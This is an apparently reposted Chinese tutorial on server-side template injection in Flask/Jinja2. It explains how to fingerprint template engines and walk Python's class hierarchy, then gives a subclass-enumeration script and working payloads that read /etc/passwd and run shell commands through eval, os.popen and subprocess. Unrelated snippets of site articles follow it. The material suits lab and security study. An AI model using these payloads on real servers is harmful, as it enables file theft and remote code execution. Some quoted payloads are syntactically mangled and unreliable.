ssti学习(1)

一、成因:

渲染模板时,没有严格控制对用户的输入。(使用了危险的模板,导致用户可以和flask程序进行交互)

flask是一种基于web开发的web服务器,如果用户可以和flask交互,则可以执行eval、system等函数。

二、后果

可能造成任意文件读取和RCE远程控制后台系统。

三、如何判断对方的模板

常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。

  这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
  绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
  然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。

四、继承关系

继承:即一个派生类(derived class)继承基类(base class)的字段和方法。继承也允许把一个派生类的对象作为一个基类对象对待。例如,有这样一个设计:一个Dog类型的对象派生自Animal类,这是模拟"是一个(is-a)"关系

在 python 中,类之间是会有继承关系的,也就是派生类(子类)与基类(父类)的关系,这可以理解为父子关系。在这个父子关系中的最高级,就是 object 。也就是说,object 是祖宗类。
一般来说,SSTI 构造 payload 的思想,就是要通过各个数据类型 Numbers(数字)String(字符串)List(列表)Tuple(元组)Dictionary(字典) 这些子类,一直往上找到 object ,然后再通过找 object 类可以利用的子类。可以利用的子类,就是这个子类的方法(popen() eval()等方法)或属性可以利用。

五、魔术方法
在 python 中,魔术方法是一种两边以双下划线 __ 包裹的特殊方法,利用这些方法,我们可以实现类的寻找,初始化对象的成员,以及最后的利用。

常用魔术方法及作用
单下划线、双下划线、头尾双下划线说明:
__foo__: 定义的是特殊方法,一般是系统定义名字 ,类似 __init__() 之类的。
_foo: 以单下划线开头的表示的是 protected 类型的变量,即保护类型只能允许其本身与子类进行访问,不能用于 from module import *
__foo: 双下划线的表示的是私有类型(private)的变量, 只能是允许这个类本身进行访问了。—菜鸟教程 Python 基础教程

__class__ : 以字符串形式返回当前对象所属类
__base__ : 以字符串形式返回当前类的基类
__bases__ : 以元组()形式返回当前类的所有基类
__mro__ : 以元组()形式返回从当前类到 object 类的所有类,顺序为从子类逐级往上。 __mro__[1] 或者 __mro__[-1] 都可以得到 object 类。
__subclasses__() : 以列表[]形式返回当前类的下一级所有子类
__init__ : 构造函数,当类被实例化时可以用它来快捷的初始化一些属性。SSTI 中可以用它获取选定子类的初始化方法。
__globals__ : __globals__在函数后使用,以字典形式返回当前位置的所有全局变量,包括所有导入的变量。当其在 __init__ 后使用时,即获取初始化方法的全局变量字典。这些变量可能是模块、方法、变量。

通过以上魔术方法,再配合一些系统命令,就可以构造出基本的 payload 了。

六、常用注入模块

(靶场、源代码来自橙子工作室)

1、文件读取

关键子类:__frozen__importlib__external.FileLoader
该子类可用于读取系统文件

# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
    # 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    # 爆破测试
    try:
        # post 请求后的响应信息
        response = requests.post(url, data=data)
        # 打印响应信息
        # print(response.text)

        # 当状态码为 200 时,寻找响应信息中是否包含关键子类
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                # 若存在,则打印索引值
                print(i)
    except:
        # 不存在或出现错误,则退出本次循环
        pass

通过该代码检索出__frozen__importlib__external.FileLoader所在的位置

查找并且回显到了__frozen__importlib__external.FileLoader,证明匹配成功。

接着利用 get_data() 函数传入参数0和文件路径,完成注入

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

2、内建函数eval执行命令

(内建函数:python在在执行脚本时自动加载的函数 )

首先要查找什么位置有eval函数

import requests
url = input("请输入 URL:")
for i in range(500):
    # payload 中需要先初始化再列出所有全局变量
    data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "eval" in response.text:
            print(i)

name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']}}

在获取到的数据中任意尝试一个

验证成功

name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

__builtins__: 提供对Python的所有“内置“标识符的直接访问。
eval(): 计算字符串表达式的值。
__import__: 加载 os 模块。
popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
(popen() 执行命令后没有直接回显,最后加个 .read() 函数读取回显内容

原文参考:SSTI-3 常用模块及利用方法_橙子科技 ssti-CSDN博客

3、os模块执行命令

{{“”.__class__.__bases__[0].__subclasses__()[66].__init__.__globals__[‘os’].popen(“ls”).read()}}

{{“”.__class__.__base__.__subclasses__()[64].__init__.__globals__[‘builtins’][‘eval’]("__import__.(‘os’).popen(‘ls’).read()")}}
                      

4、importlib类执行模块

{{[].__class__.__base__.__subclasses__()[69].["load_module"]("os")[“popen”](‘ls’).read()}}

5、linecache函数执行模块

{{[].__class__.__base__.__subclasses__()[19].__init__.__globals__.linecache.os.popen("ls").read()}}

6、subprocess.Popen类执行命令

{{().__class__.__base__.__subclasses__()[13](“ls”,shell=True,stdout=-1).communicate()[0].strip()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/327465.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MFC重要的初始化函数InitInstance

MFC应用程序最早处理的类的初始化函数通常是CWinApp类的构造函数。CWinApp类是MFC应用程序的主类,负责整个应用程序的初始化和管理。 在MFC应用程序中,通常会创建一个派生自CWinApp类的应用程序类,例如CMyApp。在应用程序启动时,…

3ds Max与Maya不同之处?两者哪个更适合云渲染?

3ds Max 和 Maya 都是知名的3D软件,各有其特色。3ds Max 以直观的建模和丰富的插件生态闻名;Maya 则在动画和角色创作方面更为出色。两者都支持云渲染技术,能帮助用户在云端高效完成项目。 一、3ds Max和Maya之间的主要区别: 3ds…

keepalived双机热备超详细入门介绍

keepalived 一、keepalived入门介绍 1.keepalived简介 2.keepalived服务的三个重要功能 2.1.管理LVS负载均衡软件 2.2.实现对LVS集群节点健康检查功能 2.3.作为系统网络服务的高可用功能 3.keepalived高可用故障切换转移原理 4.keepalived安装及主配置文件介绍 …

Hadoop 3.4.0+HBase2.5.8+ZooKeeper3.8.4+Hive+Sqoop 分布式高可用集群部署安装 大数据系列二

创建服务器,参考 虚拟机创建服务器 节点名字节点IP系统版本master11192.168.50.11centos 8.5slave12192.168.50.12centos 8.5slave13192.168.50.13centos 8.5 1 下载组件 Hadoop:官网地址 Hbase:官网地址 ZooKeeper:官网下载 Hive:官网下载 Sqoop:官网下载 为方便同学…

基于IDEA快速创建一个SpringMVC项目并且配置Tomcat

1,打开IDEA,新建Maven项目【使用web模板创建】 使用社区版的同学创建普通的maven项目,并配置项目的webapp,详情可参考 快速创建一个SpringMVC项目(IDEA) 2,在main目录下创建Java和resource目录…

如何向Linux内核提交开源补丁?

2021年,我曾经在openEuler社区上看到一项改进Linux内核工具的需求,因此参与过Linux内核社区的开源贡献。开源贡献者参与Linux内核贡献的基本方式是提交补丁(patch),流程都可以在内核社区文档中找到,但是&am…

网络安全快速入门(九)MySQL进阶操作

上一章我们了解了对表及库的基本增删查改操作,本章我们针对增删查改内容进行与一些拓展, 9.1字段修饰及数据类型 我们之前在创建表时用到的格式为: create table 表名 ( 字段名1 字段数据类型(数据类型长度), 字段名2 …

83.网络游戏逆向分析与漏洞攻防-移动系统分析-游戏瞬移漏洞的测试与分析

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 如果看不懂、不知道现在做的什么,那就跟着做完看效果,代码看不懂是正常的,只要会抄就行,抄着抄着就能懂了 内容…

基于Vue3+ElementPlus项目,复制文字到剪贴板功能实践指南,揭秘使用js-tool-big-box工具库的核心优势

在前端开发项目中,很多时候有那么一个场景,就是要求将一段文案复制下来,这段文案可能是一串很长的id,可能是一条命令语句,可能是一小段文案,复制到剪贴板上。这样有利于用户复制到其他地方去,使…

mybatisPlus一个事务中切换数据源概述

概述 在多数据源的配置下,业务中经常遇到在一个被本地事务包裹的save/edi方法中需要查询另一个数据源的数据; 直接查询会提示table不存在,这是因为一个事务和一个mysql连接是绑定的,mysql的连接背后包含了数据库信息,…

GPT搜索鸽了!改升级GPT-4

最近OpenAI太反常,消息一会一变,直让人摸不着头脑。 奥特曼最新宣布:5月13日开发布会,不是GPT-5,也不是盛传的GPT搜索引擎,改成对ChatGP和GPT-4的升级~ 消息一出,大伙儿都蒙了。 之…

不懂数字后端Box List、Polygon的意思?

什么是BOX? 景芯SoC做design planning的第一步就是确定floorplan的box,也就是设计的区域。这个区域可以划分为三个边界,如下图所示: Die Box 最外面一圈,我们称为 Die Box,也就是用来放置 IO 单元&#x…

记nrm管理仓库以及发布npm包

前言 记一次在公司创建私有库以及发布npm包,留下个脚印 一、nrm是什么? nrm是 npm 镜像源管理工具,用于快速地在不同的 npm 源之间切换。 二、使用步骤 1.全局安装nrm 代码如下(示例): npm install -…

下载源代码并交叉编译riscv FreeBSD系统和内核

RISCV系统曾经让人神秘到无法接触,交叉编译更是只有耳闻,现在随着RISCV的普及,它们神秘的面纱已经被慢慢揭开。 交叉编译作为RISCV系统中的一个重要环节,也随着RISCV的普及而变得更加容易理解和操作。交叉编译允许开发者在一个平…

java发送请求-二次开发-get请求json

这里有2个判断 如果param为空则对url发送请求 再继续判断有值时,接口参数时json还是namevalue格式 因为json是带{,所以可以先写为param包含{}, 反之就是请求格式是url?param 请求json要带参数,所以需要使用setEntity方法, 最…

如何写好设计文档

一、明确目的 在编写设计文档之前,首先要明确为什么需要写这份文档。设计文档是软件开发过程中的重要沟通工具,它有助于确保团队成员对项目有共同的理解,促进协作,便于变更管理,并提供历史记录。 二、编写方法 为目…

2024.1.1 IntelliJ IDEA 使用记录

2024.1.1 IntelliJ IDEA 使用记录 下载设置文件编码maven 配置 插件可以中文语言包安装lombok 插件Smart Tomcat ( 根据需要安装)Smart Tomcat 配置 热部署(非必须的)解决Intellij IDEA运行报Command line is too long的问题 项目导入java 设置maven 配置…

Rust的协程机制:原理与简单示例

在现代编程中,协程(Coroutine)已经成为实现高效并发的重要工具。Rust,作为一种内存安全的系统编程语言,也采用了协程作为其并发模型的一部分。本文将深入探讨Rust协程机制的实现原理,并通过一个简单的示例来…

番外篇 | 利用PyQt5+YOLOv5来搭建目标检测系统(附可视化界面+功能介绍+源代码)

前言:Hello大家好,我是小哥谈。PyQt5是一个Python绑定的Qt库,是用于创建图形用户界面(GUI)和其他应用程序组件的工具包。PyQt5提供了许多GUI元素,如按钮、文本框、标签等,也提供了许多Qt的功能,如网络、数据库、XML等。通过PyQt5可以在Python中使用Qt的丰富功能和强大的工…

全面解析OpenAI的新作——GPT-4o

5月14日凌晨1点、太平洋时间的上午 10 点,OpenAI的GPT-4o的横空出世,再次巩固了其作为行业颠覆者的地位。GPT-4o的发布不仅仅是一个产品的揭晓,它更像是向世界宣告AI技术已迈入了一个全新的纪元,连OpenAI的领航者萨姆奥特曼也不禁…